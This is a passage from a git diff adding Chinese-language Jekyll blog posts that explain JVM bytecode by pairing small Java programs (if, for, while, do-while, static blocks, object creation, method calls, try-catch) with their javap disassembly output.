4: return + LineNumberTable: + line 1: 0 + LocalVariableTable: + Start Length Slot Name Signature + 0 5 0 this LTest; + + public static void main(java.lang.String[]); + descriptor: ([Ljava/lang/String;)V + flags: ACC_PUBLIC, ACC_STATIC + Code: + stack=2, locals=3, args_size=1 + 0: bipush 10 + 2: istore_1 + 3: iload_1 + 4: iinc 1, 1 + 7: iinc 1, 1 + 10: iload_1 + 11: iadd + 12: iload_1 + 13: iinc 1, -1 + 16: iadd + 17: istore_2 + 18: getstatic #2 // Field java/lang/System.out:Ljava/io/PrintStream; + 21: iload_1 + 22: invokevirtual #3 // Method java/io/PrintStream.println:(I)V + 25: getstatic #2 // Field java/lang/System.out:Ljava/io/PrintStream; + 28: iload_2 + 29: invokevirtual #3 // Method java/io/PrintStream.println:(I)V + 32: return + LineNumberTable: + line 3: 0 + line 4: 3 + line 5: 18 + line 6: 25 + line 7: 32 + LocalVariableTable: + Start Length Slot Name Signature + 0 33 0 args [Ljava/lang/String; + 3 30 1 m I + 18 15 2 n I + MethodParameters: + Name Flags + args +} +SourceFile: "Test.java" + +Process finished with exit code 0 + +``` + + + + + + + + + diff --git a/_posts/2022-03-26-578-ifeq.md b/_posts/2022-03-26-578-ifeq.md new file mode 100644 index 0000000..f5ed91a --- /dev/null +++ b/_posts/2022-03-26-578-ifeq.md @@ -0,0 +1,121 @@ +--- +layout: post +title: JVM ifeq(条件判断) +pid: 578 +tags: [java] + +--- + +```java +public class Test { + public static void main(String[] args) { + int a = 0; + if (a == 0) { + a = 1314; + }else{ + a = 520; + } + } +} +``` + + + + +```java +/Library/Java/JavaVirtualMachines/jdk1.8.0_291.jdk/Contents/Home\bin\javap -v Test +Classfile /Users/baoguo/codes/demo/target/classes/Test.class + Last modified Mar 26, 2022; size 465 bytes + MD5 checksum a4dc32500b700c2496d8480e65e11b75 + Compiled from "Test.java" +public class Test + minor version: 0 + major version: 52 + flags: ACC_PUBLIC, ACC_SUPER +Constant pool: + #1 = Methodref #3.#21 // java/lang/Object."":()V + #2 = Class #22 // Test + #3 = Class #23 // java/lang/Object + #4 = Utf8 + #5 = Utf8 ()V + #6 = Utf8 Code + #7 = Utf8 LineNumberTable + #8 = Utf8 LocalVariableTable + #9 = Utf8 this + #10 = Utf8 LTest; + #11 = Utf8 main + #12 = Utf8 ([Ljava/lang/String;)V + #13 = Utf8 args + #14 = Utf8 [Ljava/lang/String; + #15 = Utf8 a + #16 = Utf8 I + #17 = Utf8 StackMapTable + #18 = Utf8 MethodParameters + #19 = Utf8 SourceFile + #20 = Utf8 Test.java + #21 = NameAndType #4:#5 // "":()V + #22 = Utf8 Test + #23 = Utf8 java/lang/Object +{ + public Test(); + descriptor: ()V + flags: ACC_PUBLIC + Code: + stack=1, locals=1, args_size=1 + 0: aload_0 + 1: invokespecial #1 // Method java/lang/Object."":()V + 4: return + LineNumberTable: + line 1: 0 + LocalVariableTable: + Start Length Slot Name Signature + 0 5 0 this LTest; + + public static void main(java.lang.String[]); + descriptor: ([Ljava/lang/String;)V + flags: ACC_PUBLIC, ACC_STATIC + Code: + stack=1, locals=2, args_size=1 + 0: iconst_0 + 1: istore_1 + 2: iload_1 + 3: ifne 13 //与数字零做比较 如果是其他数字，则用if_icmpne 指令 + 6: sipush 1314 + 9: istore_1 + 10: goto 17 + 13: sipush 520 + 16: istore_1 + 17: return + LineNumberTable: + line 3: 0 + line 4: 2 + line 5: 6 + line 7: 13 + line 9: 17 + LocalVariableTable: + Start Length Slot Name Signature + 0 18 0 args [Ljava/lang/String; + 2 16 1 a I + StackMapTable: number_of_entries = 2 + frame_type = 252 /* append */ + offset_delta = 13 + locals = [ int ] + frame_type = 3 /* same */ + MethodParameters: + Name Flags + args +} +SourceFile: "Test.java" + +Process finished with exit code 0 + +``` + + + + + + + + + diff --git a/_posts/2022-03-26-579-for.md b/_posts/2022-03-26-579-for.md new file mode 100644 index 0000000..2b01f84 --- /dev/null +++ b/_posts/2022-03-26-579-for.md @@ -0,0 +1,114 @@ +--- +layout: post +title: JVM for(循环) +pid: 579 +tags: [java] + +--- + +```java +public class Test { + public static void main(String[] args) { + for (int i = 0; i < 4; i++) { + + } + } +} +``` + + + + +```java +/Library/Java/JavaVirtualMachines/jdk1.8.0_291.jdk/Contents/Home\bin\javap -v Test +Classfile /Users/baoguo/codes/demo/target/classes/Test.class + Last modified Mar 26, 2022; size 451 bytes + MD5 checksum b9f9b9c6bd8212874504f516b050ac3d + Compiled from "Test.java" +public class Test + minor version: 0 + major version: 52 + flags: ACC_PUBLIC, ACC_SUPER +Constant pool: + #1 = Methodref #3.#21 // java/lang/Object."":()V + #2 = Class #22 // Test + #3 = Class #23 // java/lang/Object + #4 = Utf8 + #5 = Utf8 ()V + #6 = Utf8 Code + #7 = Utf8 LineNumberTable + #8 = Utf8 LocalVariableTable + #9 = Utf8 this + #10 = Utf8 LTest; + #11 = Utf8 main + #12 = Utf8 ([Ljava/lang/String;)V + #13 = Utf8 i + #14 = Utf8 I + #15 = Utf8 args + #16 = Utf8 [Ljava/lang/String; + #17 = Utf8 StackMapTable + #18 = Utf8 MethodParameters + #19 = Utf8 SourceFile + #20 = Utf8 Test.java + #21 = NameAndType #4:#5 // "":()V + #22 = Utf8 Test + #23 = Utf8 java/lang/Object +{ + public Test(); + descriptor: ()V + flags: ACC_PUBLIC + Code: + stack=1, locals=1, args_size=1 + 0: aload_0 + 1: invokespecial #1 // Method java/lang/Object."":()V + 4: return + LineNumberTable: + line 1: 0 + LocalVariableTable: + Start Length Slot Name Signature + 0 5 0 this LTest; + + public static void main(java.lang.String[]); + descriptor: ([Ljava/lang/String;)V + flags: ACC_PUBLIC, ACC_STATIC + Code: + stack=2, locals=2, args_size=1 + 0: iconst_0 + 1: istore_1 + 2: iload_1 + 3: iconst_4 + 4: if_icmpge 13 + 7: iinc 1, 1 + 10: goto 2 + 13: return + LineNumberTable: + line 3: 0 + line 6: 13 + LocalVariableTable: + Start Length Slot Name Signature + 2 11 1 i I + 0 14 0 args [Ljava/lang/String; + StackMapTable: number_of_entries = 2 + frame_type = 252 /* append */ + offset_delta = 2 + locals = [ int ] + frame_type = 250 /* chop */ + offset_delta = 10 + MethodParameters: + Name Flags + args +} +SourceFile: "Test.java" + +Process finished with exit code 0 + +``` + + + + + + + + + diff --git a/_posts/2022-03-26-580-while.md b/_posts/2022-03-26-580-while.md new file mode 100644 index 0000000..e76b9ce --- /dev/null +++ b/_posts/2022-03-26-580-while.md @@ -0,0 +1,116 @@ +--- +layout: post +title: JVM while(循环) +pid: 580 +tags: [java] + +--- + +```java +public class Test { + public static void main(String[] args) { + int i = 0; + while(i<4) { + i++; + } + } +} +``` + + + + +```java +/Library/Java/JavaVirtualMachines/jdk1.8.0_291.jdk/Contents/Home\bin\javap -v Test +Classfile /Users/baoguo/codes/demo/target/classes/Test.class + Last modified Mar 26, 2022; size 457 bytes + MD5 checksum 3a7c72054bb3b74ef7660fd6a6025279 + Compiled from "Test.java" +public class Test + minor version: 0 + major version: 52 + flags: ACC_PUBLIC, ACC_SUPER +Constant pool: + #1 = Methodref #3.#21 // java/lang/Object."":()V + #2 = Class #22 // Test + #3 = Class #23 // java/lang/Object + #4 = Utf8 + #5 = Utf8 ()V + #6 = Utf8 Code + #7 = Utf8 LineNumberTable + #8 = Utf8 LocalVariableTable + #9 = Utf8 this + #10 = Utf8 LTest; + #11 = Utf8 main + #12 = Utf8 ([Ljava/lang/String;)V + #13 = Utf8 args + #14 = Utf8 [Ljava/lang/String; + #15 = Utf8 i + #16 = Utf8 I + #17 = Utf8 StackMapTable + #18 = Utf8 MethodParameters + #19 = Utf8 SourceFile + #20 = Utf8 Test.java + #21 = NameAndType #4:#5 // "":()V + #22 = Utf8 Test + #23 = Utf8 java/lang/Object +{ + public Test(); + descriptor: ()V + flags: ACC_PUBLIC + Code: + stack=1, locals=1, args_size=1 + 0: aload_0 + 1: invokespecial #1 // Method java/lang/Object."":()V + 4: return + LineNumberTable: + line 1: 0 + LocalVariableTable: + Start Length Slot Name Signature + 0 5 0 this LTest; + + public static void main(java.lang.String[]); + descriptor: ([Ljava/lang/String;)V + flags: ACC_PUBLIC, ACC_STATIC + Code: + stack=2, locals=2, args_size=1 + 0: iconst_0 + 1: istore_1 + 2: iload_1 + 3: iconst_4 + 4: if_icmpge 13 + 7: iinc 1, 1 + 10: goto 2 + 13: return + LineNumberTable: + line 3: 0 + line 4: 2 + line 5: 7 + line 7: 13 + LocalVariableTable: + Start Length Slot Name Signature + 0 14 0 args [Ljava/lang/String; + 2 12 1 i I + StackMapTable: number_of_entries = 2 + frame_type = 252 /* append */ + offset_delta = 2 + locals = [ int ] + frame_type = 10 /* same */ + MethodParameters: + Name Flags + args +} +SourceFile: "Test.java" + +Process finished with exit code 0 + +``` + + + + + + + + + diff --git a/_posts/2022-03-26-581-dowhile.md b/_posts/2022-03-26-581-dowhile.md new file mode 100644 index 0000000..65725fe --- /dev/null +++ b/_posts/2022-03-26-581-dowhile.md @@ -0,0 +1,114 @@ +--- +layout: post +title: JVM do-while(循环) +pid: 581 +tags: [java] + +--- + +```java +public class Test { + public static void main(String[] args) { + int i = 0; + do { + i++; + }while(i<4); + } +} +``` + + + + +```java +/Library/Java/JavaVirtualMachines/jdk1.8.0_291.jdk/Contents/Home\bin\javap -v Test +Classfile /Users/baoguo/codes/demo/target/classes/Test.class + Last modified Mar 26, 2022; size 453 bytes + MD5 checksum 203e7836fe4ec474f52b3cff9e988856 + Compiled from "Test.java" +public class Test + minor version: 0 + major version: 52 + flags: ACC_PUBLIC, ACC_SUPER +Constant pool: + #1 = Methodref #3.#21 // java/lang/Object."":()V + #2 = Class #22 // Test + #3 = Class #23 // java/lang/Object + #4 = Utf8 + #5 = Utf8 ()V + #6 = Utf8 Code + #7 = Utf8 LineNumberTable + #8 = Utf8 LocalVariableTable + #9 = Utf8 this + #10 = Utf8 LTest; + #11 = Utf8 main + #12 = Utf8 ([Ljava/lang/String;)V + #13 = Utf8 args + #14 = Utf8 [Ljava/lang/String; + #15 = Utf8 i + #16 = Utf8 I + #17 = Utf8 StackMapTable + #18 = Utf8 MethodParameters + #19 = Utf8 SourceFile + #20 = Utf8 Test.java + #21 = NameAndType #4:#5 // "":()V + #22 = Utf8 Test + #23 = Utf8 java/lang/Object +{ + public Test(); + descriptor: ()V + flags: ACC_PUBLIC + Code: + stack=1, locals=1, args_size=1 + 0: aload_0 + 1: invokespecial #1 // Method java/lang/Object."":()V + 4: return + LineNumberTable: + line 1: 0 + LocalVariableTable: + Start Length Slot Name Signature + 0 5 0 this LTest; + + public static void main(java.lang.String[]); + descriptor: ([Ljava/lang/String;)V + flags: ACC_PUBLIC, ACC_STATIC + Code: + stack=2, locals=2, args_size=1 + 0: iconst_0 + 1: istore_1 + 2: iinc 1, 1 + 5: iload_1 + 6: iconst_4 + 7: if_icmplt 2 + 10: return + LineNumberTable: + line 3: 0 + line 5: 2 + line 6: 5 + line 7: 10 + LocalVariableTable: + Start Length Slot Name Signature + 0 11 0 args [Ljava/lang/String; + 2 9 1 i I + StackMapTable: number_of_entries = 1 + frame_type = 252 /* append */ + offset_delta = 2 + locals = [ int ] + MethodParameters: + Name Flags + args +} +SourceFile: "Test.java" + +Process finished with exit code 0 + +``` + + + + + + + + + diff --git a/_posts/2022-03-26-582-loop.md b/_posts/2022-03-26-582-loop.md new file mode 100644 index 0000000..64e558b --- /dev/null +++ b/_posts/2022-03-26-582-loop.md @@ -0,0 +1,167 @@ +--- +layout: post +title: JVM 循环自增 +pid: 582 +tags: [java] + +--- + +```java +public class Test { + public static void main(String[] args) { + int i = 0; + int x = 0; + while(i<3) { + x = x++; + i++; + } + System.out.println("x = " + x); + } +} +``` + + + + +```java +/Library/Java/JavaVirtualMachines/jdk1.8.0_291.jdk/Contents/Home\bin\javap -v Test +Classfile /Users/baoguo/codes/demo/target/classes/Test.class + Last modified Mar 26, 2022; size 843 bytes + MD5 checksum 59d521a87a420090e23f60ab567f2326 + Compiled from "Test.java" +public class Test + minor version: 0 + major version: 52 + flags: ACC_PUBLIC, ACC_SUPER +Constant pool: + #1 = Methodref #11.#30 // java/lang/Object."":()V + #2 = Fieldref #31.#32 // java/lang/System.out:Ljava/io/PrintStream; + #3 = Class #33 // java/lang/StringBuilder + #4 = Methodref #3.#30 // java/lang/StringBuilder."":()V + #5 = String #34 // x = + #6 = Methodref #3.#35 // java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder; + #7 = Methodref #3.#36 // java/lang/StringBuilder.append:(I)Ljava/lang/StringBuilder; + #8 = Methodref #3.#37 // java/lang/StringBuilder.toString:()Ljava/lang/String; + #9 = Methodref #38.#39 // java/io/PrintStream.println:(Ljava/lang/String;)V + #10 = Class #40 // Test + #11 = Class #41 // java/lang/Object + #12 = Utf8 + #13 = Utf8 ()V + #14 = Utf8 Code + #15 = Utf8 LineNumberTable + #16 = Utf8 LocalVariableTable + #17 = Utf8 this + #18 = Utf8 LTest; + #19 = Utf8 main + #20 = Utf8 ([Ljava/lang/String;)V + #21 = Utf8 args + #22 = Utf8 [Ljava/lang/String; + #23 = Utf8 i + #24 = Utf8 I + #25 = Utf8 x + #26 = Utf8 StackMapTable + #27 = Utf8 MethodParameters + #28 = Utf8 SourceFile + #29 = Utf8 Test.java + #30 = NameAndType #12:#13 // "":()V + #31 = Class #42 // java/lang/System + #32 = NameAndType #43:#44 // out:Ljava/io/PrintStream; + #33 = Utf8 java/lang/StringBuilder + #34 = Utf8 x = + #35 = NameAndType #45:#46 // append:(Ljava/lang/String;)Ljava/lang/StringBuilder; + #36 = NameAndType #45:#47 // append:(I)Ljava/lang/StringBuilder; + #37 = NameAndType #48:#49 // toString:()Ljava/lang/String; + #38 = Class #50 // java/io/PrintStream + #39 = NameAndType #51:#52 // println:(Ljava/lang/String;)V + #40 = Utf8 Test + #41 = Utf8 java/lang/Object + #42 = Utf8 java/lang/System + #43 = Utf8 out + #44 = Utf8 Ljava/io/PrintStream; + #45 = Utf8 append + #46 = Utf8 (Ljava/lang/String;)Ljava/lang/StringBuilder; + #47 = Utf8 (I)Ljava/lang/StringBuilder; + #48 = Utf8 toString + #49 = Utf8 ()Ljava/lang/String; + #50 = Utf8 java/io/PrintStream + #51 = Utf8 println + #52 = Utf8 (Ljava/lang/String;)V +{ + public Test(); + descriptor: ()V + flags: ACC_PUBLIC + Code: + stack=1, locals=1, args_size=1 + 0: aload_0 + 1: invokespecial #1 // Method java/lang/Object."":()V + 4: return + LineNumberTable: + line 1: 0 + LocalVariableTable: + Start Length Slot Name Signature + 0 5 0 this LTest; + + public static void main(java.lang.String[]); + descriptor: ([Ljava/lang/String;)V + flags: ACC_PUBLIC, ACC_STATIC + Code: + stack=3, locals=3, args_size=1 + 0: iconst_0 + 1: istore_1 + 2: iconst_0 + 3: istore_2 + 4: iload_1 + 5: iconst_3 + 6: if_icmpge 20 + 9: iload_2 + 10: iinc 2, 1 + 13: istore_2 //把上面iinc自增的值给覆盖掉了。 + 14: iinc 1, 1 + 17: goto 4 + 20: getstatic #2 // Field java/lang/System.out:Ljava/io/PrintStream; + 23: new #3 // class java/lang/StringBuilder + 26: dup + 27: invokespecial #4 // Method java/lang/StringBuilder."":()V + 30: ldc #5 // String x = + 32: invokevirtual #6 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder; + 35: iload_2 + 36: invokevirtual #7 // Method java/lang/StringBuilder.append:(I)Ljava/lang/StringBuilder; + 39: invokevirtual #8 // Method java/lang/StringBuilder.toString:()Ljava/lang/String; + 42: invokevirtual #9 // Method java/io/PrintStream.println:(Ljava/lang/String;)V + 45: return + LineNumberTable: + line 3: 0 + line 4: 2 + line 5: 4 + line 6: 9 + line 7: 14 + line 9: 20 + line 10: 45 + LocalVariableTable: + Start Length Slot Name Signature + 0 46 0 args [Ljava/lang/String; + 2 44 1 i I + 4 42 2 x I + StackMapTable: number_of_entries = 2 + frame_type = 253 /* append */ + offset_delta = 4 + locals = [ int, int ] + frame_type = 15 /* same */ + MethodParameters: + Name Flags + args +} +SourceFile: "Test.java" + +Process finished with exit code 0 + +``` + + + + + + + + + diff --git a/_posts/2022-03-26-583-static.md b/_posts/2022-03-26-583-static.md new file mode 100644 index 0000000..95fae26 --- /dev/null +++ b/_posts/2022-03-26-583-static.md @@ -0,0 +1,132 @@ +--- +layout: post +title: JVM static (静态代码块) +pid: 583 +tags: [java] + +--- + +```java +public class Test { + + static int i = 100; + + static { + i = 200; + } + + static { + i = 300; + } + + public static void main(String[] args) { + + } +} +``` + + + + +```java +/Library/Java/JavaVirtualMachines/jdk1.8.0_291.jdk/Contents/Home\bin\javap -v Test +Classfile /Users/baoguo/codes/demo/target/classes/Test.class + Last modified Mar 26, 2022; size 490 bytes + MD5 checksum 551366477529db6d914d84bbb8d902bc + Compiled from "Test.java" +public class Test + minor version: 0 + major version: 52 + flags: ACC_PUBLIC, ACC_SUPER +Constant pool: + #1 = Methodref #4.#22 // java/lang/Object."":()V + #2 = Fieldref #3.#23 // Test.i:I + #3 = Class #24 // Test + #4 = Class #25 // java/lang/Object + #5 = Utf8 i + #6 = Utf8 I + #7 = Utf8 + #8 = Utf8 ()V + #9 = Utf8 Code + #10 = Utf8 LineNumberTable + #11 = Utf8 LocalVariableTable + #12 = Utf8 this + #13 = Utf8 LTest; + #14 = Utf8 main + #15 = Utf8 ([Ljava/lang/String;)V + #16 = Utf8 args + #17 = Utf8 [Ljava/lang/String; + #18 = Utf8 MethodParameters + #19 = Utf8 + #20 = Utf8 SourceFile + #21 = Utf8 Test.java + #22 = NameAndType #7:#8 // "":()V + #23 = NameAndType #5:#6 // i:I + #24 = Utf8 Test + #25 = Utf8 java/lang/Object +{ + static int i; + descriptor: I + flags: ACC_STATIC + + public Test(); + descriptor: ()V + flags: ACC_PUBLIC + Code: + stack=1, locals=1, args_size=1 + 0: aload_0 + 1: invokespecial #1 // Method java/lang/Object."":()V + 4: return + LineNumberTable: + line 1: 0 + LocalVariableTable: + Start Length Slot Name Signature + 0 5 0 this LTest; + + public static void main(java.lang.String[]); + descriptor: ([Ljava/lang/String;)V + flags: ACC_PUBLIC, ACC_STATIC + Code: + stack=0, locals=1, args_size=1 + 0: return + LineNumberTable: + line 15: 0 + LocalVariableTable: + Start Length Slot Name Signature + 0 1 0 args [Ljava/lang/String; + MethodParameters: + Name Flags + args + + static {}; + descriptor: ()V + flags: ACC_STATIC + Code: + stack=1, locals=0, args_size=0 + 0: bipush 100 + 2: putstatic #2 // Field i:I + 5: sipush 200 + 8: putstatic #2 // Field i:I + 11: sipush 300 + 14: putstatic #2 // Field i:I + 17: return + LineNumberTable: + line 3: 0 + line 6: 5 + line 10: 11 + line 11: 17 +} +SourceFile: "Test.java" + +Process finished with exit code 0 + +``` + + + + + + + + + diff --git a/_posts/2022-03-27-584-new.md b/_posts/2022-03-27-584-new.md new file mode 100644 index 0000000..0683498 --- /dev/null +++ b/_posts/2022-03-27-584-new.md @@ -0,0 +1,237 @@ +--- +layout: post +title: JVM New (创建对象) +pid: 584 +tags: [java] + +--- + +```java +public class Student { + //成员变量 + String name = "Zhangsan"; + int age = 10; + + //构造方法 + public Student(){ + + } + + public Student(String name, int age) { + this.name = name; + this.age = age; + } + + //成员代码块 + { + name = "Lisi"; + age = 20; + } + + public static void main(String[] args) { + Student stu = new Student("Wangwu", 30); + System.out.println(stu.name); + System.out.println(stu.age); + } +} +``` + + + + +```java +/Library/Java/JavaVirtualMachines/jdk1.8.0_291.jdk/Contents/Home\bin\javap -v Student +Classfile /Users/baoguo/codes/demo/target/classes/Student.class + Last modified Mar 27, 2022; size 949 bytes + MD5 checksum d681bb32937e73f29729eb34556df6ef + Compiled from "Student.java" +public class Student + minor version: 0 + major version: 52 + flags: ACC_PUBLIC, ACC_SUPER +Constant pool: + #1 = Methodref #12.#33 // java/lang/Object."":()V + #2 = String #34 // Zhangsan + #3 = Fieldref #6.#35 // Student.name:Ljava/lang/String; + #4 = Fieldref #6.#36 // Student.age:I + #5 = String #37 // Lisi + #6 = Class #38 // Student + #7 = String #39 // Wangwu + #8 = Methodref #6.#40 // Student."":(Ljava/lang/String;I)V + #9 = Fieldref #41.#42 // java/lang/System.out:Ljava/io/PrintStream; + #10 = Methodref #43.#44 // java/io/PrintStream.println:(Ljava/lang/String;)V + #11 = Methodref #43.#45 // java/io/PrintStream.println:(I)V + #12 = Class #46 // java/lang/Object + #13 = Utf8 name + #14 = Utf8 Ljava/lang/String; + #15 = Utf8 age + #16 = Utf8 I + #17 = Utf8 + #18 = Utf8 ()V + #19 = Utf8 Code + #20 = Utf8 LineNumberTable + #21 = Utf8 LocalVariableTable + #22 = Utf8 this + #23 = Utf8 LStudent; + #24 = Utf8 (Ljava/lang/String;I)V + #25 = Utf8 MethodParameters + #26 = Utf8 main + #27 = Utf8 ([Ljava/lang/String;)V + #28 = Utf8 args + #29 = Utf8 [Ljava/lang/String; + #30 = Utf8 stu + #31 = Utf8 SourceFile + #32 = Utf8 Student.java + #33 = NameAndType #17:#18 // "":()V + #34 = Utf8 Zhangsan + #35 = NameAndType #13:#14 // name:Ljava/lang/String; + #36 = NameAndType #15:#16 // age:I + #37 = Utf8 Lisi + #38 = Utf8 Student + #39 = Utf8 Wangwu + #40 = NameAndType #17:#24 // "":(Ljava/lang/String;I)V + #41 = Class #47 // java/lang/System + #42 = NameAndType #48:#49 // out:Ljava/io/PrintStream; + #43 = Class #50 // java/io/PrintStream + #44 = NameAndType #51:#52 // println:(Ljava/lang/String;)V + #45 = NameAndType #51:#53 // println:(I)V + #46 = Utf8 java/lang/Object + #47 = Utf8 java/lang/System + #48 = Utf8 out + #49 = Utf8 Ljava/io/PrintStream; + #50 = Utf8 java/io/PrintStream + #51 = Utf8 println + #52 = Utf8 (Ljava/lang/String;)V + #53 = Utf8 (I)V +{ + java.lang.String name; + descriptor: Ljava/lang/String; + flags: + + int age; + descriptor: I + flags: + + public Student(); + descriptor: ()V + flags: ACC_PUBLIC + Code: + stack=2, locals=1, args_size=1 + 0: aload_0 + 1: invokespecial #1 // Method java/lang/Object."":()V + 4: aload_0 + 5: ldc #2 // String Zhangsan + 7: putfield #3 // Field name:Ljava/lang/String; + 10: aload_0 + 11: bipush 10 + 13: putfield #4 // Field age:I + 16: aload_0 + 17: ldc #5 // String Lisi + 19: putfield #3 // Field name:Ljava/lang/String; + 22: aload_0 + 23: bipush 20 + 25: putfield #4 // Field age:I + 28: return + LineNumberTable: + line 5: 0 + line 2: 4 + line 3: 10 + line 15: 16 + line 16: 22 + line 7: 28 + LocalVariableTable: + Start Length Slot Name Signature + 0 29 0 this LStudent; + + public Student(java.lang.String, int); + descriptor: (Ljava/lang/String;I)V + flags: ACC_PUBLIC + Code: + stack=2, locals=3, args_size=3 + 0: aload_0 + 1: invokespecial #1 // Method java/lang/Object."":()V + 4: aload_0 + 5: ldc #2 // String Zhangsan + 7: putfield #3 // Field name:Ljava/lang/String; + 10: aload_0 + 11: bipush 10 + 13: putfield #4 // Field age:I + 16: aload_0 + 17: ldc #5 // String Lisi + 19: putfield #3 // Field name:Ljava/lang/String; + 22: aload_0 + 23: bipush 20 + 25: putfield #4 // Field age:I + 28: aload_0 + 29: aload_1 + 30: putfield #3 // Field name:Ljava/lang/String; + 33: aload_0 + 34: iload_2 + 35: putfield #4 // Field age:I + 38: return + LineNumberTable: + line 9: 0 + line 2: 4 + line 3: 10 + line 15: 16 + line 16: 22 + line 10: 28 + line 11: 33 + line 12: 38 + LocalVariableTable: + Start Length Slot Name Signature + 0 39 0 this LStudent; + 0 39 1 name Ljava/lang/String; + 0 39 2 age I + MethodParameters: + Name Flags + name + age + + public static void main(java.lang.String[]); + descriptor: ([Ljava/lang/String;)V + flags: ACC_PUBLIC, ACC_STATIC + Code: + stack=4, locals=2, args_size=1 + 0: new #6 // class Student + 3: dup + 4: ldc #7 // String Wangwu + 6: bipush 30 + 8: invokespecial #8 // Method "":(Ljava/lang/String;I)V + 11: astore_1 + 12: getstatic #9 // Field java/lang/System.out:Ljava/io/PrintStream; + 15: aload_1 + 16: getfield #3 // Field name:Ljava/lang/String; + 19: invokevirtual #10 // Method java/io/PrintStream.println:(Ljava/lang/String;)V + 22: getstatic #9 // Field java/lang/System.out:Ljava/io/PrintStream; + 25: aload_1 + 26: getfield #4 // Field age:I + 29: invokevirtual #11 // Method java/io/PrintStream.println:(I)V + 32: return + LineNumberTable: + line 20: 0 + line 21: 12 + line 22: 22 + line 23: 32 + LocalVariableTable: + Start Length Slot Name Signature + 0 33 0 args [Ljava/lang/String; + 12 21 1 stu LStudent; + MethodParameters: + Name Flags + args +} +SourceFile: "Student.java" + +Process finished with exit code 0 + +``` + + + + + + + + + diff --git a/_posts/2022-03-27-585-normalbytecode.md b/_posts/2022-03-27-585-normalbytecode.md new file mode 100644 index 0000000..179ad9d --- /dev/null +++ b/_posts/2022-03-27-585-normalbytecode.md @@ -0,0 +1,169 @@ +--- +layout: post +title: JVM 常见字节码 +pid: 585 +tags: [java] + +--- + +```java +public class MethodDemo { + //构造方法 + public MethodDemo(){ + + } + //私有方法 + private void methodPrivate(){ + + } + //final方法 + public final void methodFinal(){ + + } + //静态方法 + public static void methodStatic(){ + + } + + public static void main(String[] args) { + //创建对象 + MethodDemo demo = new MethodDemo(); + //调用方法 + demo.methodPrivate(); + demo.methodFinal(); + demo.methodStatic(); + + MethodDemo.methodStatic(); + } +} +``` + + + + +```java +/Library/Java/JavaVirtualMachines/jdk1.8.0_291.jdk/Contents/Home\bin\javap -v MethodDemo +Classfile /Users/baoguo/codes/demo/target/classes/MethodDemo.class + Last modified Mar 27, 2022; size 701 bytes + MD5 checksum 49241be3842b5be33e991101751bcffa + Compiled from "MethodDemo.java" +public class MethodDemo + minor version: 0 + major version: 52 + flags: ACC_PUBLIC, ACC_SUPER +Constant pool: + #1 = Methodref #7.#26 // java/lang/Object."":()V + #2 = Class #27 // MethodDemo + #3 = Methodref #2.#26 // MethodDemo."":()V + #4 = Methodref #2.#28 // MethodDemo.methodPrivate:()V + #5 = Methodref #2.#29 // MethodDemo.methodFinal:()V + #6 = Methodref #2.#30 // MethodDemo.methodStatic:()V + #7 = Class #31 // java/lang/Object + #8 = Utf8 + #9 = Utf8 ()V + #10 = Utf8 Code + #11 = Utf8 LineNumberTable + #12 = Utf8 LocalVariableTable + #13 = Utf8 this + #14 = Utf8 LMethodDemo; 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+ + public static void methodStatic(); + descriptor: ()V + flags: ACC_PUBLIC, ACC_STATIC + Code: + stack=0, locals=0, args_size=0 + 0: return + LineNumberTable: + line 19: 0 + + public static void main(java.lang.String[]); + descriptor: ([Ljava/lang/String;)V + flags: ACC_PUBLIC, ACC_STATIC + Code: + stack=2, locals=2, args_size=1 + 0: new #2 // class MethodDemo + 3: dup + 4: invokespecial #3 // Method "":()V + 7: astore_1 + 8: aload_1 + 9: invokespecial #4 // Method methodPrivate:()V + 12: aload_1 + 13: invokevirtual #5 // Method methodFinal:()V + 16: aload_1 + 17: pop + 18: invokestatic #6 // Method methodStatic:()V + 21: invokestatic #6 // Method methodStatic:()V + 24: return + LineNumberTable: + line 23: 0 + line 25: 8 + line 26: 12 + line 27: 16 + line 29: 21 + line 30: 24 + LocalVariableTable: + Start Length Slot Name Signature + 0 25 0 args [Ljava/lang/String; + 8 17 1 demo LMethodDemo; + MethodParameters: + Name Flags + args +} +SourceFile: "MethodDemo.java" + +Process finished with exit code 0 + +``` + + + + + + + + + diff --git a/_posts/2022-03-27-586-try-catch.md b/_posts/2022-03-27-586-try-catch.md new file mode 100644 index 0000000..be07d76 --- /dev/null +++ b/_posts/2022-03-27-586-try-catch.md @@ -0,0 +1,132 @@ +--- +layout: post +title: JVM try-catch +pid: 586 +tags: [java] + +--- + +```java +public class Test { + public static void main(String[] args) { + int x = 100; + try { + x = 200; + }catch (Exception e) { + x = 300; + } + } +} +``` + + + + +```java +/Library/Java/JavaVirtualMachines/jdk1.8.0_291.jdk/Contents/Home\bin\javap -v Test +Classfile /Users/baoguo/codes/demo/target/classes/Test.class + Last modified Mar 27, 2022; size 554 bytes + MD5 checksum c1a74c8c5594a133fe260938831ad297 + Compiled from "Test.java" +public class Test + minor version: 0 + major version: 52 + flags: ACC_PUBLIC, ACC_SUPER +Constant pool: + #1 = Methodref #4.#26 // java/lang/Object."":()V + #2 = Class #27 // java/lang/Exception + #3 = Class #28 // Test + #4 = Class #29 // java/lang/Object + #5 = Utf8 + #6 = Utf8 ()V + #7 = Utf8 Code + #8 = Utf8 LineNumberTable + #9 = Utf8 LocalVariableTable + #10 = Utf8 this + #11 = Utf8 LTest; + #12 = Utf8 main + #13 = Utf8 ([Ljava/lang/String;)V + #14 = Utf8 e + #15 = Utf8 Ljava/lang/Exception; + #16 = Utf8 args + #17 = Utf8 [Ljava/lang/String; + #18 = Utf8 x + #19 = Utf8 I + #20 = Utf8 StackMapTable + #21 = Class #17 // "[Ljava/lang/String;" + #22 = Class #27 // java/lang/Exception + #23 = Utf8 MethodParameters + #24 = Utf8 SourceFile + #25 = Utf8 Test.java + #26 = NameAndType #5:#6 // "":()V + #27 = Utf8 java/lang/Exception + #28 = Utf8 Test + #29 = Utf8 java/lang/Object +{ + public Test(); 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+ try { + x = 11; + }catch (IndexOutOfBoundsException e){ + x = 22; + }catch (NullPointerException e){ + x = 33; + }catch (Exception e) { + x = 44; + } + } +} +``` + + + + +```java +/Library/Java/JavaVirtualMachines/jdk1.8.0_291.jdk/Contents/Home\bin\javap -v Test +Classfile /Users/baoguo/codes/demo/target/classes/Test.class + Last modified Mar 27, 2022; size 791 bytes + MD5 checksum 8ad8face5c32f01e2ef5a7a2cca0b862 + Compiled from "Test.java" +public class Test + minor version: 